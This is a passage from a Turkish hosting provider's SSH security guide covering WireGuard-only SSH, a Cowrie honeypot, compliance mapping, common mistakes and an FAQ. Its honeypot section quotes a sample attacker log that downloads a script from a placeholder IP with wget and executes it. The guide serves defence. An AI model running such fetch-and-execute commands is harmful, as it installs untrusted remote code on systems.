firewall-cmd --permanent --zone=trusted --add-source=203.0.113.45
firewall-cmd --permanent --zone=trusted --add-service=ssh
firewall-cmd --reload

Statik IP'si olan ofis çalışmaları için altın standart. Gezici çalışan için pratik değil; bunun yerine VPN-only.

VPN-Only SSH (WireGuard + sshd Bind)

En sıkı yaklaşım: sshd sadece WireGuard interface üzerinde dinler, public network'te hiç port açık değil.

# WireGuard kurulumu (kavramsal)
apt install wireguard
# /etc/wireguard/wg0.conf yapılandırması

# sshd_config — sadece WireGuard interface'e bind
ListenAddress 10.8.0.1   # WireGuard sunucu IP'si
# Public IP'de hiç dinleme yok

# UFW
ufw allow 51820/udp   # WireGuard
ufw deny 22/tcp        # SSH public'te kapalı

Sonuç: internet'ten SSH'a hiçbir paket erişemez; sadece WireGuard tüneline bağlı yetkili istemciler SSH yapabilir. SSH brute force %100 sıfırlanır.

Honeypot — Saldırgan Davranışını Anlama

Defansif perspektifin bir adım ötesi: bilerek bir tuzak SSH koymak ve saldırgan ne yaptığını izlemek.

Cowrie SSH Honeypot

Cowrie, açık kaynak Python tabanlı interaktif SSH honeypot'tur. Saldırgan login olur (default root:123456 bir tahminle), simüle edilmiş shell ile etkileşim kurar; siz tüm komutları, indirdiği malware'i, davranışını JSON log'a kaydedersiniz.

# Kavramsal kurulum
git clone https://github.com/cowrie/cowrie /opt/cowrie
cd /opt/cowrie
./bin/cowrie start

# Default port 2222 dinler; iptables ile 22→2222 yönlendirmesi:
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222

Saldırgan komutları örneği (cowrie log):

{"eventid":"cowrie.command.input","input":"wget http://192.0.2.66/x.sh","timestamp":"2026-05-11T03:22:18Z"}
{"eventid":"cowrie.command.input","input":"chmod +x x.sh && ./x.sh","timestamp":"2026-05-11T03:22:21Z"}

Bu loglar threat intelligence kaynağıdır: saldırganların kullandığı IP, malware URL, davranış pattern'i. Bir kurumsal SOC için altın değerinde.

Honeypot çalıştırırken prod sunucuyla aynı network'te tutmayın; izole VM ya da ayrı VDS olsun. Saldırgan honeypot'tan kaçışa çalışabilir.

Compliance Perspektifi — KVKK, ISO 27001, PCI-DSS

Kurumsal SSH kullanımı sektörel düzenlemelere tabi olabilir:

KVKK (6698 sayılı)

• Kişisel veri içeren sunuculara erişim kim, ne zaman, ne yaptı logları → auditd + session recording
• Veri ihlali durumunda 72 saat içinde KVKK Kurulu'na bildirim → SIEM ile erken tespit
• Veri sorumlusu / işleyen sözleşmesi gereksinimleri → hosting sağlayıcısı (Buyukweb) ile sözleşme

ISO 27001 (Bilgi Güvenliği Yönetim Sistemi)

• A.9 Erişim Kontrolü: SSH key auth + 2FA bu maddeye uyumludur
• A.12 Operasyonel Güvenlik: auditd, log monitoring, change management
• A.16 Bilgi Güvenliği Olay Yönetimi: SIEM + IDS

PCI-DSS (Ödeme Kartı Sektörü)

• Requirement 7: Need-to-know erişim → SSH cert principals sınırlı
• Requirement 8.3: Çok faktörlü kimlik → 2FA / FIDO2 zorunlu
• Requirement 10: Log + monitor tüm erişim → auditd + SIEM
• Requirement 12.6: Security awareness eğitimi → admin eğitimi
• Anahtar rotation: 90 gün önerilir (PCI yorumu)

Buyukweb VDS müşterilerinden e-ticaret + ödeme alanlarında çalışanlar PCI-DSS yükümlülüğüne tabi olabilir; sertifika tabanlı SSH + 2FA + auditd kombinasyonu temel uyum altyapısı sunar.

En Sık Yapılan 10 SSH Güvenlik Hatası

Sahada en çok karşılaştığımız hatalar:

1. Root SSH açık + parola girişi aktif — PermitRootLogin yes + PasswordAuthentication yes. 24 saatte ele geçirilir.
2. Anahtar passphrase'siz — ssh-keygen çalıştırıp Enter ile boş geçilen passphrase. Laptop çalındığında erişim açık.
3. authorized_keys audit yapılmıyor — Eski çalışanların anahtarı yıllarca durur. Aylık ls -la /home/*/.ssh/authorized_keys ile kontrol şart.
4. Tek anahtar her sunucuda — Bir laptop kompromize, bütün altyapı düşer. Sertifika tabanlı CA veya per-sunucu anahtar çözer.
5. ForwardAgent yes her yere açık — Bastion ya da development VDS'te ssh-agent forward'ı saldırgana key'lere erişim verir. ProxyJump tercih edin.
6. StrictHostKeyChecking no — Bazı CI/CD pipeline'ında "kolay olsun" diye konur. MITM tamamen açık. Bunun yerine SSHFP veya pre-populated known_hosts kullanın.
7. Sertifika rotation yok — CA ile imzalanan kullanıcı sertifikası 24 saat olur olur; ama bazıları "1 yıl" gibi uzun verir. Kısa süre + otomatik yenileme prensibi.
8. 2FA bypass via AuthorizedKeysCommand — Bazı setup'larda AuthorizedKeysCommand ile DB'den key çekilir ama 2FA atlanır. PAM ile 2FA zorunlu hale getirin.
9. Audit log ignored — Log toplanır, kimse bakmaz. Haftalık review + SIEM alert otomasyonu şart.
10. "Custom port = güvenli" yanılgısı — Port 22 yerine 49222 koymak Shodan'ı azaltır ama temel savunma değil. Anahtar + 2FA + fail2ban kombinasyonunu da koymanız gerekir.

Buyukweb VDS Perspektifi — Pratik Defense-in-Depth

Bursa Tier 3 veri merkezimizdeki VDS müşterilerimize önerdiğimiz pratik katmanlama:

Temel Katman (Tüm Müşteriler)

• SSH key auth zorunlu (parola tamamen kapalı)
• PermitRootLogin prohibit-password (sadece anahtar ile root)
• Custom port (örn. 22 → 49222) — Shodan azaltma
• fail2ban kurulu (3 deneme → 24 saat ban)
• Aylık authorized_keys audit

Orta Katman (Üretim Sunucuları)

• PAM + Google Authenticator TOTP (anahtar + kod)
• auditd kurallı + günlük log review
• KVM web konsol acil kurtarma planı test edilmiş
• UFW IP whitelist (mümkünse statik IP'ler için)

Üst Katman (Regüle Sektör / Çoklu Sunucu)

• OpenSSH CA sertifika tabanlı kimlik (kısa ömürlü cert)
• FIDO2 / ed25519-sk donanım anahtarı zorunlu
• Bastion host pattern + ProxyJump + session recording
• Wazuh SIEM agent + merkezi log
• WireGuard VPN-only SSH (public 22 kapalı)

KVM web konsol = SSH bozulsa dahi sunucuya erişim için son güvence. fail2ban + custom port + key auth + 2FA + cert + FIDO2 + bastion + SIEM = kurumsal seviye SSH. Tek seferde hepsini kurmak gerek yok; müşteri büyüdükçe katman ekleyin.

Sertifika tabanlı SSH kurulumu, FIDO2 entegrasyonu, Wazuh SIEM danışmanlığı için 0850 302 60 70 destek hattımıza ulaşabilirsiniz; Bursa veri merkezi ekibimiz Linux/SSH güvenlik konularında deneyimlidir.

Sık Sorulan Sorular (SSS)

"SSH key passphrase gerekli mi? Otomasyonu zorlaştırmaz mı?"

Evet gerekli. Passphrase'siz private key, dosyayı kopyalayan herkesin elinde sunucu erişimi demektir. Otomasyon sorununu ssh-agent çözer: passphrase oturum başında bir kez girilir, agent o oturum boyunca hatırlar. macOS Keychain, Windows OpenSSH Agent ve Linux ssh-agent + GNOME Keyring entegrasyonu gündelik kullanımı engellemez. Üst düzey otomasyon için (CI/CD'de SSH deploy) — passphrase'siz ama çok kısıtlı yetkili deploy key + IP whitelist + audit log kombinasyonu kabul edilebilir.

"2FA olarak TOTP mı, FIDO2 mı seçeyim?"

TOTP (Google Authenticator) — kurulum kolay, sıfır donanım maliyeti, telefondan çalışır. Eksisi: telefon kaybolursa erişim sorunlu (scratch kodları korumak şart), phishing'e zayıf (zaten anahtar varsa zayıflık nispeten az).

FIDO2 ed25519-sk — donanım anahtarı zorunlu (~₺1.500-2.500), phishing tamamen imkânsız (URL bağlı doğrulama), donanım fiziksel olarak yoksa giriş yok. Kurumsal regüle sektör için altın standart.

Karar: kişisel/küçük ekip → TOTP yeter. Kurumsal/regüle → FIDO2 zorunlu.

"SSH certificate (OpenSSH CA) ev kullanıcısı için aşırı mı?"

Evet, 1-2 sunucu ve 1 admin için aşırı karmaşıktır. CA setup, imza akışı, KRL yönetimi 5 sunucu altında authorized_keys ile yönetmekten daha zahmetli. 5+ sunucu + 3+ admin ölçeğinde sertifika faydaları belirginleşir. Küçük ekip için authorized_keys + 2FA + fail2ban yeterli; büyürken sertifikaya geçiş düşünün.

"VDS için bastion (jump host) gerek mi?"

Tek bir VDS varsa bastion abartılı; doğrudan SSH yeterli. 3+ VDS veya özel ağda iç sunucular olan kurumsal müşterilerimizde bastion düşünülmeli. Bastion'un avantajı: tek noktadan audit + 2FA + session recording, iç sunuculara public IP gerektirmez. Buyukweb'de bastion için minimum 2 VDS gerekir (bastion + en az 1 iç sunucu); bütçe planlamada dikkate alın.

"Custom port (örn. 49222) tek başına yeterli mi?"

Hayır, kesinlikle değil. Port değiştirmek gürültü azaltır (otomatik bot trafiği %95 azalır) ama hedefli saldırıya karşı koruma sağlamaz. Shodan product:OpenSSH filtresinden tüm portlardaki sshd bulunur. Custom port + key auth + 2FA + fail2ban kombinasyonu gerek; tek katman zayıf.

"OpenSSH versiyonum eski (7.4); yeterli mi?"

Hayır. OpenSSH 7.7 öncesi username enumeration zafiyetine açık; 8.5 öncesi scp zafiyeti bilinmekte. OpenSSH 9.x+ modern; en azından OS dağıtımınızın LTS güncelleme kanalını kullanarak güncel tutun. Ubuntu 22.04 = OpenSSH 8.9, Ubuntu 24.04 = OpenSSH 9.6, Debian 12 = OpenSSH 9.2, Rocky 9 = OpenSSH 8.7. ssh -V ile kontrol edin.

"Anahtarımı paylaşılan bilgisayardan eklersem ne olur?"

Asla yapmayın. Paylaşılan bilgisayar (kafe, kütüphane, müşteri ofisi) potansiyel keylogger / spyware ile dolu. Private key dosyası USB ile taşımak da risk; mümkünse FIDO2 donanım anahtarı ile gezici giriş yapın — anahtar donanımdadır, dışarı sızmaz. Acil bir durumda paylaşılan bilgisayarı kullanmak zorundaysanız, dönüşte private key'i revoke edin ve yenisini üretin.

"SSH bağlantım gece kopuyor, neden ve çözüm?"

Genelde iki sebep: (1) NAT/firewall uzun süreli boşta bağlantıyı düşürür → /etc/ssh/ssh_config veya ~/.ssh/config içine ServerAliveInterval 60 ekleyin (her 60 saniyede keepalive paketi gönderir). (2) Sunucu tarafı ClientAliveInterval 0 veya çok kısa süreli → /etc/ssh/sshd_config içine ClientAliveInterval 300 + ClientAliveCountMax 3 (5 dakika boşta + 3 keepalive kaybı = disconnect).

Sonuç ve Sonraki Adımlar

SSH güvenliği bir kerelik kurulum değil, sürekli iyileştirilen bir katmanlı savunmadır. Buyukweb müşterileri için pratik yol haritası:

1. Hafta 1: SSH key auth zorunlu, root SSH prohibit-password, parola tamamen kapalı, fail2ban kurulu
2. Hafta 2: Custom port + AllowUsers whitelist + auth.log review + IP whitelist (statik IP varsa)
3. Ay 1: PAM + Google Authenticator TOTP 2FA aktif, authorized_keys aylık audit prosedürü
4. Ay 2-3: auditd kuralları, SSH session recording, log review prosedürü, KVM kurtarma testi
5. Ay 3-6 (orta+ ölçek): OpenSSH CA sertifika tabanlı kimlik, FIDO2 donanım anahtarı, bastion pattern, SIEM (Wazuh)
6. Sürekli: OpenSSH versiyon güncelliği, brute force log review, security advisory takip, anahtar rotation 6-12 ay

---

İlgili Büyükweb Hizmetleri

• SSH Anahtar Tabanlı Kimlik Doğrulama — Ed25519/RSA 4096 + sshd_config sertleştirme + fail2ban temelleri
• Linux SSH Güvenliği — SSH tehdit modeli + auditd + defense-in-depth temel rehberi
• SSH Port Değiştirme ve Knockd / WireGuard — Port hardening + bastion + ProxyJump mimarisi
• SSH Bağlantı Rehberi — Temel bağlantı, anahtar kopyalama, troubleshoot
• Linux SSH Komutları — Günlük SSH komut referansı
• VDS Sunucu — KVM web konsol, root erişim, Bursa Tier 3 datacenter
• DNSSEC Rehberi — SSHFP kayıtları ve DNS güvence katmanı

Kurumsal SSH sertleştirme, FIDO2 entegrasyon, bastion host kurulumu veya SIEM (Wazuh) danışmanlığı için 0850 302 60 70 numaralı destek hattımıza veya iletişim sayfamıza yazabilirsiniz. Bursa Tier 3 veri merkezi ekibimiz Linux/SSH güvenlik konularında saha deneyimine sahiptir.